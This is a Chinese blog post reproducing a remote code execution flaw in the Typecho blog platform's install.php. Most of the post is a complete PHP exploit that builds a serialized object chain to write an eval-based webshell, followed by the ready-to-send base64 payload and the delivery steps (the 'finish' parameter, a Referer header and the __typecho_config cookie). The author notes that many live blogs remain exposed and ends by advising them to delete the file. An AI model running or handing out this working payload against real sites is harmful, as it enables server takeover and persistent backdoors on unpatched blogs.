Bubbles~blog

用爱发电

typecho前台getshell复现

typecho是一个比较简单而轻便的博客程序,相比wordpress的臃肿,它的轻量化也得到了很多人的喜爱,特别是你的服务器的配置偏低的时候

这次爆出的是任意代码执行漏洞,可以直接getshell,危害非常大

漏洞主要出在install.php上,具体的漏洞分析可以参见

typecho前台 getshell 漏洞分析

漏洞复现

首先要构造Poc,这里我们用现成的

<?php
class Typecho_Feed{
    const RSS2 = "RSS 2.0";
 
    private $_type;
    private $_version;
    private $_charset;
    private $_lang;
    private $_items = array();
 
    public function __construct($version, $type = self::RSS2, $charset = 'UTF-8', $lang = 'en'){
        $this->_version = $version;
        $this->_type = $type;
        $this->_charset = $charset;
        $this->_lang = $lang;
    }
 
    public function addItem(array $item){
        $this->_items[] = $item;
    }
}
 
class Typecho_Request{
    private $_params = array('screenName' => "file_put_contents('1ndex.php', '<?php eval(\$_POST[1]);//123123?>')");
    private $_filter = array('assert');
}
 
$p1 = new Typecho_Feed(1);
$p2 = new Typecho_Request();
$p1->addItem(array('author' => $p2));
$exp = array('adapter' => $p1, 'prefix' => 'th1s');
echo base64_encode(serialize($exp));
?>
</code>

其中想执行的代码和shell文件名直接在Typecho_Request类下修改即可

这里我们直接写入一个shell

然后在浏览器里访问得到poc

YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NTp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIyOiIAVHlwZWNob19GZWVkAF92ZXJzaW9uIjtpOjE7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJlbiI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NjY6ImZpbGVfcHV0X2NvbnRlbnRzKCcxbmRleC5waHAnLCAnPD9waHAgZXZhbCgkX1BPU1RbMV0pOy8vMTIzMTIzPz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NDoidGgxcyI7fQ

然后我们访问博客的install.php页面,如果人家没删的话,Get方式传递参数finish并添加referer头,然后将我们的poc赋给cookie的__typecho_config即可

现在我们就已经成功写入shell了

Now we getshell

这次的漏洞复现比较简单而且利用条件也不是很苛刻,基本上装完没删install.php的都会中枪,在本地复现完以后我也在网上搜索了一下,发现很多博客都没有删除install.php,不过也有很多意识好的已经删了,目测又是一波抓鸡行动

虽然官方也推送了最新的beta版并修复了这一漏洞,但是诸多用正式版的还是暴露在危险之下,所以最好赶紧回去把文件给删了。。。